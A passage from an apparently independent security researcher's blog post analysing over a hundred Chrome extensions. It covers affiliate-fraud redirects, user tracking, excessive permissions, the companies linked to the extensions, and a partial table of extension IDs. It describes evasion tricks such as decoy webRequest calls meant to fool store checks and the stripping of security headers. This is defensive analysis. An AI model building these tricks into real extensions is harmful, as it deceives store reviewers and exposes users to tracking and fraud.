class="nt">&#34;license&#34;</span><span class="p">:</span><span class="s2">&#34;FREE&#34;</span><span class="p">,</span><span class="nt">&#34;enable&#34;</span><span class="p">:</span><span class="s2">&#34;true&#34;</span><span class="p">,</span><span class="nt">&#34;time&#34;</span><span class="p">:</span><span class="mi">20946</span><span class="p">}</span> </span></span></code></pre></div><p>Looks fine? Well, the next download after a few hours will produce the real result:</p> <figure><img src="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/arraySettings.png" class="article-image" alt="A long list of JSON objects, all containing numeric keys pr and p as well as an array r." width="600" height="337" /></figure> <p>Difficult to read? That’s probably because the <code>p</code> key of these objects is actually a position referring to a long encoded string. Let’s replace it by the strings it refers to:</p> <figure><img src="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/arraySettings_decoded.png" class="article-image" alt="A long list of JSON objects, this time the p key contains strings like wayfair, target, nordvpn, creditcarma." width="600" height="337" /></figure> <p>So <code>p</code> is what this code looks for in a website address. If a match is found (and a number of other conditions met), you will be redirected to <code>https://prj1&lt;PR&gt;.com/&lt;R&gt;1</code> where <code>&lt;PR&gt;</code> is the digit in the <code>pr</code> key and <code>&lt;R&gt;</code> the second value in the array stored under the <code>r</code> key. All the redirects happen via the domains prj11[.]com, prj12[.]com, prj13[.]com, prj14[.]com, prj15[.]com.</p> <p>There is also some special code for booking.com that will replace the <code>aid</code> parameter with a random affiliate out of a given list. If someone from Booking is reading and interested, the affiliate codes in question are: 1481387, 1491966, 1514055, 1575306, 1576925, 1582062, 230281, 230281, 230281, 7798654, 7798654, 7801354, 7805513, 7811018, 7811298, 7825986, 7825986.</p> <p>And now that we know which domains are being used here, it’s trivial to find user complains. For example, <a href="https://www.reddit.com/r/chrome/comments/o10vta/occasional_redirect_attempts_to_some_website_on/">this Reddit thread</a> identified The Great Suspender as the culprit two years ago. But one doesn’t have to go that far, the reviews for The Great Suspender in the Chrome Web Store are full with user complains. For example, this two years old review names the problem quite explicitly:</p> <figure><img src="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/review1.png" class="article-image" alt="Sod Almighty on Aug 15, 2021: This extension is malware. It redirects my browser to prj11.com when I go to ebay." width="703" height="136" /></figure> <p>Or a newer one:</p> <figure><img src="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/review2.png" class="article-image" alt="Cody Fitzpatrick on Jan 12, 2023: I used to love this extension, but it now seems contaminated with viruses / malware. This extension is DIRTY and tries to redirect you to affiliate tracking links when you go to sites like BestBuy, Newegg, and others. This is all so that the creator/author/publisher can make a COMMISSION on whatever you purchase.I would not have even noticed these redirects if I did not have a network-wide ad blocker in my home (PiHole). Very slimy. P.S. A few examples of domains I have seen it redirect to are: flexlinkspro.com, prj11.com, shara.li, and others that I did not care to write down. All of these domains are connected to affiliate marketing networks." width="853" height="323" /></figure> <p>Yet the extension is still available in the Chrome Web Store.</p> <h2 id="what-are-the-other-extensions-up-to">What are the other extensions up to?</h2> <p>Four outright malicious extensions leaves 105 extensions without obvious malicious functionality. What are these up to? Are they harmless?</p> <p>I sincerely doubt that. These extensions are accumulating users with the purpose of monetizing them, likely via similarly dubious means.</p> <h3 id="policy-violations">Policy violations</h3> <p>Typically, these extensions violate at least two Chrome Web Store policies. There is a <a href="https://developer.chrome.com/docs/webstore/program-policies/spam-and-abuse/">policy on spam and abuse</a>:</p> <blockquote> <p>We don&rsquo;t allow any developer, related developer accounts, or their affiliates to submit multiple extensions that provide duplicate experiences or functionality on the Chrome Web Store. Extensions should provide value to users through the creation of unique content or services.</p> </blockquote> <p>Well, 13 almost identical video downloaders, 9 almost identical volume boosters, 9 almost identical translation extensions, 5 almost identical screen recorders are definitely not providing value. What they do is making it harder to people to find proper products that solve their problem.</p> <p>There is also <a href="https://developer.chrome.com/docs/webstore/program-policies/permissions/">Chrome Web Store policy on extension permissions</a>:</p> <blockquote> <p>Request access to the narrowest permissions necessary to implement your Product&rsquo;s features or services. If more than one permission could be used to implement a feature, you must request those with the least access to data or functionality. Don&rsquo;t attempt to &ldquo;future proof&rdquo; your Product by requesting a permission that might benefit services or features that have not yet been implemented.</p> </blockquote> <p>Almost all of these extensions do the exact opposite: request as many permissions as they can get away with.</p> <h3 id="access-to-all-websites">Access to all websites</h3> <p>Out of the 109 extensions listed, 102 request access to all websites, often paired with the <code>tabs</code> privilege. This privilege level is essential in order to conduct affiliate fraud: it allows detecting when you are about to visit a particular website.</p> <p>These privileges also allow spying on you however, e.g. by compiling a browsing profile as we’ve seen with the ad blocking extension above. And they even allow injecting JavaScript code into the websites you visit.</p> <p>Almost none of these extensions need this level of access for their functionality. In most cases, permissions for a single domain or the far less problematic <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission">activeTab permission</a> would have been sufficient. In fact, in quite a few extensions one can still see <code>https://*.youtube.com/</code> or <code>activeTab</code> in the list of permissions, only to be followed up by <code>&lt;all_urls&gt;</code> that the developers added later for reasons unrelated to functionality.</p> <p>In particular, the five game extensions on my list don’t interact with websites at all. Yet all of them still request access to all websites.</p> <h3 id="the-webrequest-declarativenetrequest-permission">The webRequest/declarativeNetRequest permission</h3> <p>The <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest">webRequest API</a> and its Manifest V3 pendant <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/declarativeNetRequest">declarativeNetRequest API</a> are among the most powerful tools available to browser extensions. They allow extensions to watch all the web requests being performed by the browser. In combination with the <code>webRequestBlocking</code> permission, they also allow blocking any web requests or even replacing web server responses.</p> <p>This is the kind of functionality required to run an ad blocker, but rarely anything else. So very few extensions should be requesting these permissions. Yet 66 out of 109 extensions (61%) on my list do. For reference: when looking at extensions with similar popularity in all of Chrome Web Store, I count only 35% of them requesting these permissions.</p> <p>Presumably, Chrome Web Store performs automated checks to determine whether permissions are actually being used. So these extension contain code designed to fool these checks, e.g.:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">handleResponseHeaders</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">chrome</span><span class="p">.</span><span class="nx">webRequest</span><span class="p">.</span><span class="nx">onHeadersReceived</span><span class="p">.</span><span class="nx">addListener</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="nx">details</span> <span class="p">=&gt;</span> <span class="p">({</span> <span class="nx">responseHeaders</span><span class="o">:</span> <span class="nx">details</span><span class="p">.</span><span class="nx">responseHeaders</span> <span class="p">}),</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> <span class="nx">urls</span><span class="o">:</span> <span class="p">[</span><span class="s2">&#34;&lt;all_urls&gt;&#34;</span><span class="p">]</span> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;blocking&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;responseHeaders&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"> <span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></div><p>This code slows down the browser by adding a listener, yet it doesn’t actually do anything. Instead of processing the headers, it merely returns them unchanged. Also popular: extracting some data, then never using it.</p> <p>But this is actually the good code because some of these decoys are harmful. Quite a few will remove security headers like <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Content-Security-Policy</a> or <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options">X-Frame-Options</a>, others will mess with the <code>User-Agent</code> or <code>Set-Cookies</code> headers. The damage here might not be obvious but it’s there.</p> <p>Tab Suspender extension took another approach: it incorporated some very rudimentary and error-prone tracker blocking functionality. It makes no sense in this extension, and most likely no user enables it. But it is used as justification for the <code>webRequest</code> permission.</p> <p>Other than the ad blockers, only some of the downloader extensions seem to have <code>webRequest</code> functionality that is actually useful. Yet even those got additional dummy calls, just in case. The honorary mention goes to the Classic 2048 extension which includes a dummy <code>webRequest</code> call without even requesting the <code>webRequest</code> permission.</p> <h3 id="remote-code-execution">Remote code execution</h3> <p>Normally, extensions are protected by the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy#default_content_security_policy">default Content Security Policy</a> that allows only code contained within the extension to run. Malicious extensions often want to <a href="https://palant.info/2023/06/02/how-malicious-extensions-hide-running-arbitrary-code/">circumvent this security mechanism</a> however, so that they can put the malicious code on some web server where it cannot be as easily inspected.</p> <p>The extensions here take an easier route and relax the Content Security Policy restrictions instead. 32 out of 109 extensions (29%) allow <code>'unsafe-eval'</code> in their extension manifests. For comparison, only 9% of the similarly popular extensions in Chrome Web Store do this.</p> <p>I haven’t found an extension that would actually use that loophole to download and run remote JavaScript code. But maybe I simply wasn’t thorough enough.</p> <h3 id="user-tracking">User tracking</h3> <p>Almost all extensions on this list include a class which is sometimes named ExtStatTracker, more often however in a less conspicuous way. It regularly performs requests mildly masquerading as configuration downloads, except that the resulting “config” is never used.</p> <p>Obviously, the purpose of these requests is transmitting data about the user: which extension, which version and, most importantly, which user. Each user is assigned a unique randomly generated identifier that is sent along with all requests.</p> <p>There is also an “action” request performed when the extension starts up. Same data is being sent here as for the “config” download. The response might contain a <code>url</code> field, this page will open in a new tab then. No, I wouldn’t count on it being a welcome page.</p> <p>Each extension uses its own domain as tracking endpoint. This domain often doesn’t match the extension name however, either because the extension name changed too often or because the developers simply didn’t care to use a matching domain name.</p> <h3 id="rudimentary-functionality">Rudimentary functionality</h3> <p>Clearly, providing a great user experience was never the goal of these extensions. Their idea was rather making it seem like the extension is working with as little effort as possible. The better extensions appear to be based on some previous work, either open source code or an existing product that changed hands. Others have been built from scratch and barely function at all.</p> <p>So it’s not surprising that the review sections are filling up with complains about functional issues. Still, most of these extensions have four or more stars on average. For once, many of them are begging for reviews. Some reviewers even complain that they are required to review before using the extension.</p> <p>But there are also more classic fake reviews of course. These don’t even mention extension functionality but simply go on raving about how the extension changed their life.</p> <p>Some reviews show that at least some of the extensions used to have an entirely different purpose. For example, not all the ChatGPT extensions are new. At least one of them used to be a translation extension which got repurposed.</p> <h2 id="the-companies-developing-these-extensions">The companies developing these extensions</h2> <p>Most of these extensions are published anonymously. The developer’s email address is always some meaningless Gmail account. If there is any website content at all, it is largely meaningless as well. The privacy policy is some generic text not mentioning the developers and barely mentioning the extension at all – and then often enough with a wrong name.</p> <p>So I was very surprised to discover that Moment Dashboard and Infinite Dashboard extensions list a developing company in their privacy policies. These extensions are monetizing themselves via the search field on the new tab page, so maybe the developers considered this business model legal enough to mention a name.</p> <p>Either way, Moment Dashboard is developed by Kodice LLC based in Dubai, United Arab Emirates, and Infinite Dashboard is developed by Karbon Project LP based in London, UK. Yes, two different companies, despite these two extensions being close to identical.</p> <p>This seeming contradiction is resolved when you look at the management of these companies. Turns out, the CEO of Karbon Project LP moved on to be the co-founder of Kodice LLC.</p> <p>But that’s not all of it yet. The same person also founded Bigture, a company based in Warsaw, Poland. As it turns out, Bigture develops Dark Theme Tab extension which also made my list.</p> <p>And that uTab Dashboard? Developed by another London-based startup: Appolo One LTD. Coincidentally, their founder happens to be a partner at Kodice LLC. And he is also the CTO who is recruiting developers for the Hong Kong based BroCode LTD. No, not in Hongkong but for the office in Kharkiv, Ukraine (before the war).</p> <figure><img src="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/vacancy.png" class="article-image" alt="Screenshot of a Russian-language vacancy for a JavaScript Developer" width="597" height="582" /><figcaption> A vacancy at BroCode LTD from November 2020, looking for a JavaScript developer to “create new cool browser extensions and support/improve existing ones.” </figcaption></figure> <p>Another related extension: Clock New Tab. This one was developed by a Cyprus-based T.M.D.S. TECHNICAL MANAGEMENT LIMITED. Or maybe Bigture, depending on which Clock New Tab website you look at. Yes, the two websites are still online and have identical design. The two extensions are gone however, removed from Mozilla’s add-ons website in 2021.</p> <figure><img src="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/clocknewtab.png" class="article-image" alt="Two identical texts describing Clock New Tab put next to each other. The text at the top says “This project is proudly developed by the dedicated team of a Bigture company.” The text at the bottom says “This project is proudly developed by the dedicated team of a T.M.D.S. TECHNICAL MANAGEMENT LIMITED.”" width="475" height="700" /></figure> <p>If all of this sounds like a money laundering scheme, then maybe that’s because it is one.</p> <p>Either way, these companies describe themselves as specializing in advertising and affiliate marketing. Karbon Project existed since 2011 according to their website. While their incorporation papers show being founded in 2018 by two companies based on Seychelles, there is in fact evidence that it existed prior to that.</p> <p>And they apparently already <a href="https://www.2-viruses.com/remove-wowsearch-redirect">made a name for themselves as makers of potentially unwanted software</a>. In addition to browser extensions, they also publish at least two web browsers. I checked the corresponding installers with VirusTotal and: surprise, they are being detected as trojans! <a href="https://www.virustotal.com/gui/file/2eaa083a5985bd5d6f7ae72e2d22998e6d49d530ac4fd042c4f926ec6f7fa52a">[1]</a> <a href="https://www.virustotal.com/gui/file/3cfbf5fb170e69d0882d5a372a3675c6217702cff7bc9e0b05fbd3d1bc8d8536">[2]</a></p> <p>Oh, and just because this hasn’t been enough fun already: these browser installers are signed by Rizzo Media LP which shares its address with Karbon Project LP in London. It has also been founded by the same two Seychelles companies.</p> <p>I sent an email to Karbon Project LP, Kodice LLC and Bigture asking for comment on who developed all these browser extensions. So far neither company replied.</p> <h2 id="the-affected-extensions">The affected extensions</h2> <p>This list is certain to be incomplete. It’s mostly based on my sample of 1,670 popular Chrome extensions, not all of Chrome Web Store. User counts reflect the state for 2023-06-05.</p> <p>Note that only the first four of these extensions are currently malicious from what I can tell. However, they were clearly created with the intention of abusing extension privileges at some point. Note also that the extension names change frequently and only the IDs can be used to reliably identify an extension.</p> <p>While allowing execution of remote code (unsafe-eval) isn’t technically a permission, I listed it under permissions to simplify the presentation.</p> <p><strong>Update</strong> (2023-06-12): The complete list of extension IDs from this article series can be found <a href="https://github.com/palant/malicious-extensions-list/blob/main/list.txt">here</a>. This repository also contains the <a href="https://github.com/palant/malicious-extensions-list/releases">check-extensions command-line utility</a> which will search local browser profiles for these extensions.</p> <table> <thead> <tr> <th>Name</th> <th style="text-align:right">Weekly active users</th> <th>Extension ID</th> <th>Relevant permissions</th> </tr> </thead> <tbody> <tr> <td>Adblock all advertisments - No Ads extension</td> <td style="text-align:right">741,224</td> <td>gbdjcgalliefpinpmggefbloehmmknca</td> <td>All websites<br>declarativeNetRequest<br>tabs</td> </tr> <tr> <td>Translator - Select to Translate</td> <td style="text-align:right">528,568</td> <td>eggeoellnjnnglaibpcmggjnjifeebpi</td> <td>All websites<br>webRequest<br>notifications</td> </tr> <tr> <td>Flash Video Downloader</td> <td style="text-align:right">240,450</td> <td>ionpbgeeliajehajombdeflogfpgmmel</td> <td>All websites<br>downloads<br>tabs<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>The Great Suspender</td> <td style="text-align:right">174,646</td> <td>jaekigmcljkkalnicnjoafgfjoefkpeg</td> <td>All websites<br>history<br>tabs</td> </tr> <tr> <td>Floating Video - Picture in Picture mode</td> <td style="text-align:right">102,486</td> <td>aeilijiaejfdnbagnpannhdoaljpkbhe</td> <td>All websites<br>webRequest</td> </tr> <tr> <td>Sidebarr - chatgpt, bookmarks, apps and more</td> <td style="text-align:right">162,384</td> <td>afdfpkhbdpioonfeknablodaejkklbdn</td> <td>All websites<br>bookmarks<br>tabs<br>webRequest</td> </tr> <tr> <td>Cute Cursors - Custom Cursor for Chrome™</td> <td style="text-align:right">1,022,641</td> <td>anflghppebdhjipndogapfagemgnlblh</td> <td>All websites<br>tabs</td> </tr> <tr> <td>Volume Booster</td> <td style="text-align:right">4,536,673</td> <td>anmbbeeiaollmpadookgoakpfjkbidaf</td> <td>All websites<br>tabs<br>tabCapture<br>webRequest</td> </tr> <tr> <td>Translator Pro - Quick Translate</td> <td style="text-align:right">486,062</td> <td>bebmphofpgkhclocdbgomhnjcpelbenh</td> <td>All websites<br>tabs<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Screen Capture, Screenshot, Annotations</td> <td style="text-align:right">568,357</td> <td>bmkgbgkneealfabgnjfeljaiegpginpl</td> <td>All websites<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Sound Booster &amp; Volume Control</td> <td style="text-align:right">2,341,097</td> <td>ccjlpblmgkncnnimcmbanbnhbggdpkie</td> <td>All websites<br>tabCapture<br>webRequest</td> </tr> <tr> <td>Paint Online</td> <td style="text-align:right">171,048</td> <td>cclhgechkjghfaoebihpklmllnnlnbdb</td> <td>All websites<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Sidegram | Web Client for Instagram™</td> <td style="text-align:right">282,701</td> <td>cfegchignldpfnjpodhcklmgleaoanhi</td> <td>All websites<br>cookies<br>downloads<br>tabs<br>webRequest</td> </tr> <tr> <td>Roblox with extras! - RoBox</td> <td style="text-align:right">362,890</td> <td>cfllfglbkmnbkcibbjoghimalbileaic</td> <td>All websites<br>notifications<br>webRequest</td> </tr> <tr> <td>Video Downloader Plus</td> <td style="text-align:right">785,815</td> <td>cjljdgfhkjbdbkcdkfojleidpldagmao</td> <td>All websites<br>downloads<br>tabs<br>webRequest</td> </tr> <tr> <td>Paint Tool for Chrome</td> <td style="text-align:right">213,277</td> <td>coabfkgengacobjpmdlmmihhhfnhbjdm</td> <td>All websites</td> </tr> <tr> <td>Free privacy connection - VPN Guru</td> <td style="text-align:right">529,711</td> <td>dcaffjpclkkjfacgfofgpjbmgjnjlpmh</td> <td>All websites<br>proxy<br>webRequest</td> </tr> <tr> <td>Screenshot Master and Screen Recorder</td> <td style="text-align:right">717,617</td> <td>djekgpcemgcnfkjldcclcpcjhemofcib</td> <td>All websites<br>desktopCapture<br>downloads<br>identity<br>tabCapture<br>tabs<br>unsafe-eval</td> </tr> <tr> <td>Video Downloader Plus</td> <td style="text-align:right">850,811</td> <td>dkbccihpiccbcheieabdbjikohfdfaje</td> <td>All websites<br>downloads<br>tabs<br>webRequest</td> </tr> <tr> <td>Night Shift Mode</td> <td style="text-align:right">194,983</td> <td>dlpimjmonhbmamocpboifndnnakgknbf</td> <td>All websites<br>tabs</td> </tr> <tr> <td>Music Downloader - VKsaver</td> <td style="text-align:right">278,761</td> <td>dmbjkidogjmmlejdmnecpmfapdmidfjg</td> <td>All websites<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Web Color Picker - online color grabber</td> <td style="text-align:right">346,145</td> <td>dneifdhdmnmmlobjbimlkcnhkbidmlek</td> <td>All websites<br>notifications<br>webRequest</td> </tr> <tr> <td>Free Paint Online - Draw on any website</td> <td style="text-align:right">298,489</td> <td>doiiaejbgndnnnomcdhefcbfnbbjfbib</td> <td>All websites<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Block Site: Site Blocker &amp; Focus Mode</td> <td style="text-align:right">450,216</td> <td>dpfofggmkhdbfcciajfdphofclabnogo</td> <td>All websites<br>notifications<br>tabs</td> </tr> <tr> <td>Classic 2048 online game</td> <td style="text-align:right">255,101</td> <td>eabhkjojehdleajkbigffmpnaelncapp</td> <td>All websites</td> </tr> <tr> <td>Gmail Notifier - gmail notification tool</td> <td style="text-align:right">128,201</td> <td>ealojglnbikknifbgleaceopepceakfn</td> <td>All websites<br>notifications<br>tabs<br>webRequest</td> </tr> <tr> <td>Audio Capture - Sound Recorder</td> <td style="text-align:right">429,608</td> <td>ebdbcfomjliacpblnioignhfhjeajpch</td> <td>All websites<br>downloads<br>tabCapture</td> </tr> <tr> <td>Screenshot Tool - Screen Capture &amp; Editor</td> <td style="text-align:right">784,002</td> <td>edlifbnjlicfpckhgjhflgkeeibhhcii</td> <td>All websites<br>unsafe-eval</td> </tr> <tr> <td>New Tab with chatgpt for Chrome</td> <td style="text-align:right">163,289</td> <td>ehmneimbopigfgchjglgngamiccjkijh</td> <td>All websites<br>tabs</td> </tr> <tr> <td>New Tab for Google Workspace™</td> <td style="text-align:right">177,701</td> <td>ehpgcagmhpndkmglombjndkdmggkgnge</td> <td>bookmarks<br>history<br>management<br>topSites</td> </tr> <tr> <td>paint</td> <td style="text-align:right">230,984</td> <td>ejllkedmklophclpgonojjkaliafeilj</td> <td>All websites<br>tabs<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Online messengers in All-in-One chat</td> <td style="text-align:right">284,493</td> <td>ekjogkoigkhbgdgpolejnjfmhdcgaoof</td> <td>All websites<br>tabs<br>webRequest</td> </tr> <tr> <td>Video Downloader Ultimate</td> <td style="text-align:right">654,295</td> <td>elpdbicokgbedckgblmbhoamophfbchi</td> <td>All websites<br>downloads<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Web Paint</td> <td style="text-align:right">499,229</td> <td>emeokgokialpjadjaoeiplmnkjoaegng</td> <td>All websites<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Color picker tool - geco</td> <td style="text-align:right">821,616</td> <td>eokjikchkppnkdipbiggnmlkahcdkikp</td> <td>All websites<br>notifications<br>webRequest</td> </tr> <tr> <td>VPN Unlimited - Best VPN by unblock</td> <td style="text-align:right">302,077</td> <td>epeigjgefhajkiiallmfblgglmdbhfab</td> <td>All websites<br>proxy<br>webRequest</td> </tr> <tr> <td>Flash Player Enabler</td> <td style="text-align:right">314,400</td> <td>eplfglplnlljjpeiccbgnijecmkeimed</td> <td>All websites<br>notifications</td> </tr> <tr> <td>ChatGPT Plus for Google</td> <td style="text-align:right">660,571</td> <td>fbbjijdngocdplimineplmdllhjkaece</td> <td>All websites<br>webRequest</td> </tr> <tr> <td>Volume Booster - Sound Master pro</td> <td style="text-align:right">1,056,902</td> <td>fbjhgeaafhlbjiejehpjdnghinlcceak</td> <td>All websites<br>tabCapture<br>webRequest</td> </tr> <tr> <td>Video Downloader for Chrome</td> <td style="text-align:right">432,088</td> <td>fedchalbmgfhdobblebblldiblbmpgdj</td> <td>All websites<br>downloads<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>InSaverify | Web for Instagram™</td> <td style="text-align:right">723,983</td> <td>fobaamfiblkoobhjpiigemmdegbmpohd</td> <td>All websites<br>downloads<br>webRequest</td> </tr> <tr> <td>Video Speed Controller - video manager</td> <td style="text-align:right">571,724</td> <td>gaiceihehajjahakcglkhmdbbdclbnlf</td> <td><em>None</em></td> </tr> <tr> <td>Sound Equalizer with Volume Booster</td> <td style="text-align:right">160,716</td> <td>gceehiicnbpehbbdaloolaanlnddailm</td> <td>All websites<br>tabCapture<br>unsafe-eval</td> </tr> <tr> <td>How to Take Screenshot</td> <td style="text-align:right">718,442</td> <td>ggacghlcchiiejclfdajbpkbjfgjhfol</td> <td>All websites<br>notifications</td> </tr> <tr> <td>Dark Theme - Night Shift Mode</td> <td style="text-align:right">741,084</td> <td>gjjbmfigjpgnehjioicaalopaikcnheo</td> <td>All websites<br>tabs</td> </tr> <tr> <td>Quick Translate: Reading &amp; writing translator</td> <td style="text-align:right">145,527</td> <td>gpdfpljioapjogbnlpmganakfjcemifk</td> <td>All websites<br>declarativeNetRequest<br>tabs</td> </tr> <tr> <td>HD Video Downloader</td> <td style="text-align:right">783,475</td> <td>hjlekdknhjogancdagnndeenmobeofgm</td> <td>All websites<br>downloads<br>webRequest</td> </tr> <tr> <td>Picture in Picture - Floating Player</td> <td style="text-align:right">790,847</td> <td>hlbdhflagoegglpdminhlpenkdgloabe</td> <td>All websites<br>webRequest</td> </tr> <tr> <td>Translator - Web translate, Dictionary</td> <td style="text-align:right">143,032</td> <td>hnfabcchmopgohnhkcojhocneefbnffg</td> <td>All websites<br>unsafe-eval</td> </tr> <tr> <td>2048 Game</td> <td style="text-align:right">579,610</td> <td>iabflonngmpkalkpbjonemaamlgdghea</td> <td>All websites<br>webRequest</td> </tr> <tr> <td>Select to translate - Translator, Dictionary</td> <td style="text-align:right">834,660</td> <td>ibppednjgooiepmkgdcoppnmbhmieefh</td> <td>All websites<br>tabs<br>webRequest</td> </tr> <tr> <td>Simple Translate: Select to Translate</td> <td style="text-align:right">148,542</td> <td>icchadngbpkcegnabnabhkjkfkfflmpj</td> <td>All websites<br>declarativeNetRequest<br>tabs</td> </tr> <tr> <td>Quick Translator - Translate, Dictionary</td> <td style="text-align:right">289,479</td> <td>ielooaepfhfcnmihgnabkldnpddnnldl</td> <td>All websites<br>webRequest</td> </tr> <tr> <td>BlockSite: Free Site Blocker &amp; Focus Mode</td> <td style="text-align:right">447,353</td> <td>ifdepgnnjpnbkcgempionjablajancjc</td> <td>All websites<br>notifications<br>tabs<br>unsafe-eval</td> </tr> <tr> <td>Scrnli Screen Recorder &amp; Screen Capture App</td> <td style="text-align:right">1,391,249</td> <td>ijejnggjjphlenbhmjhhgcdpehhacaal</td> <td>All websites<br>desktopCapture<br>tabCapture<br>unsafe-eval</td> </tr> <tr> <td>Web Paint Tool - draw online</td> <td style="text-align:right">540,374</td> <td>iklgljbighkgbjoecoddejooldolenbj</td> <td>All websites<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Free Screen Recorder for Chrome</td> <td style="text-align:right">1,397,721</td> <td>imopknpgdihifjkjpmjaagcagkefddnb</td> <td>All websites<br>desktopCapture<br>downloads<br>identity<br>tabCapture<br>unsafe-eval</td> </tr> <tr> <td>Sound Booster &amp; Pro equalizer- Audio Master</td> <td style="text-align:right">908,736</td> <td>jchmabokofdoabocpiicjljelmackhho</td> <td>All websites<br>tabCapture<br>tabs<br>webRequest</td> </tr> <tr> <td>PDF Viewer</td> <td style="text-align:right">159,253</td> <td>jdlkkmamiaikhfampledjnhhkbeifokk</td> <td>All websites<br>webRequest</td> </tr> <tr> <td>Video Downloader Online</td> <td style="text-align:right">659,516</td> <td>jglemppahimembneahjbkhjknnefeeio</td> <td>All websites<br>downloads<br>tabs<br>webRequest</td> </tr> <tr> <td>Adblock Unlimited - ad blocker</td> <td style="text-align:right">633,692</td> <td>jiaopkfkampgnnkckajcbdgannoipcne</td> <td>All websites<br>declarativeNetRequest</td> </tr> <tr> <td>Audio Capture - Volume Recorder</td> <td style="text-align:right">282,691</td> <td>jjgnkfncaadmaobenjjpmngdpgalemho</td> <td>All websites<br>downloads<br>tabCapture<br>webRequest</td> </tr> <tr> <td>ChatGPT for Search - Support GPT-4</td> <td style="text-align:right">709,522</td> <td>jlbpahgopcmomkgegpbmopfodolajhbl</td> <td><em>None</em></td> </tr> <tr> <td>Adblock for YouTube™</td> <td style="text-align:right">477,901</td> <td>jpefmbpcbebpjpmelobfakahfdcgcmkl</td> <td>All websites<br>tabs<br>unsafe-eval</td> </tr> <tr> <td>Chatgpt lite - OpenAI</td> <td style="text-align:right">452,660</td> <td>khdnaopfklkdcloiinccnaflffmfcioa</td> <td>All websites<br>webRequest</td> </tr> <tr> <td>Doodle games</td> <td style="text-align:right">172,823</td> <td>kjgkmceledmpdnmgmppiekdbnamccdjp</td> <td>All websites<br>webRequest</td> </tr> <tr> <td>Tab Suspender</td> <td style="text-align:right">144,708</td> <td>laameccjpleogmfhilmffpdbiibgbekf</td> <td>All websites<br>tabs<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Adblock for Youtube - ad blocker tool</td> <td style="text-align:right">504,747</td> <td>lagdcjmbchphhndlbpfajelapcodekll</td> <td>All websites<br>tabs</td> </tr> <tr> <td>Image Downloader - Save photos and pictures</td> <td style="text-align:right">1,108,637</td> <td>lbohagbplppjcpllnhdichjldhfgkicb</td> <td>All websites<br>downloads<br>webRequest</td> </tr> <tr> <td>Video Downloader Wise</td> <td style="text-align:right">334,204</td> <td>ledkggjjapdgojgihnaploncccgiadhg</td> <td>All websites<br>cookies<br>downloads<br>tabs<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Moment - #1 Personal Dashboard for Chrome</td> <td style="text-align:right">145,695</td> <td>lgecddhfcfhlmllljooldkbbijdcnlpe</td> <td>topSites<br>unsafe-eval</td> </tr> <tr> <td>Skip Ad - Ad Block &amp; Auto Ad Skip on YouTube</td> <td style="text-align:right">737,164</td> <td>lkahpjghmdhpiojknppmlenngmpkkfma</td> <td>All websites<br>webRequest</td> </tr> <tr> <td>Wowsearch</td> <td style="text-align:right">9,871</td> <td>lkciiknpgglgbbcgcpbpobjabglmpkle</td> <td>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Flash Player for Web</td> <td style="text-align:right">838,775</td> <td>lkhhagecaghfakddbncibijbjmgfhfdm</td> <td>All websites<br>notifications</td> </tr> <tr> <td>Web client for Instagram™</td> <td style="text-align:right">147,377</td> <td>lknpbgnookklokdjomiildnlalffjmma</td> <td>All websites<br>downloads<br>webRequest</td> </tr> <tr> <td>Web translator, dictionary - simple translate</td> <td style="text-align:right">797,018</td> <td>lojpdfjjionbhgplcangflkalmiadhfi</td> <td>All websites<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Video downloader - download any video for free</td> <td style="text-align:right">451,102</td> <td>mdkiofbiinbmlblcfhfjgmclhdfikkpm</td> <td>All websites<br>downloads<br>webRequest<br>unsafe-eval</td> </tr> <tr> <td>Infinite Dashboard - New Tab like no other</td> <td style="text-align:right">233,688</td> <td>meffljleomgifbbcffejnmhjagncfpbd</td> <td>All websites<br>tabs<br>topSites<br>unsafe-eval</td> </tr> <tr> <td>ChatGPT Assistant for Chrome | SidebarGPT</td> <td style="text-align:right">301,246</td> <td>mejjgaogggabifjfjdbnobinfibaamla</td> <td>All websites<br>tabs</td> </tr> <tr> <td>Good Video Downloader</td> <td style="text-align:right">394,903</td> <td>mhpcabliilgadobjpkameggapnpeppdg</td> <td>All 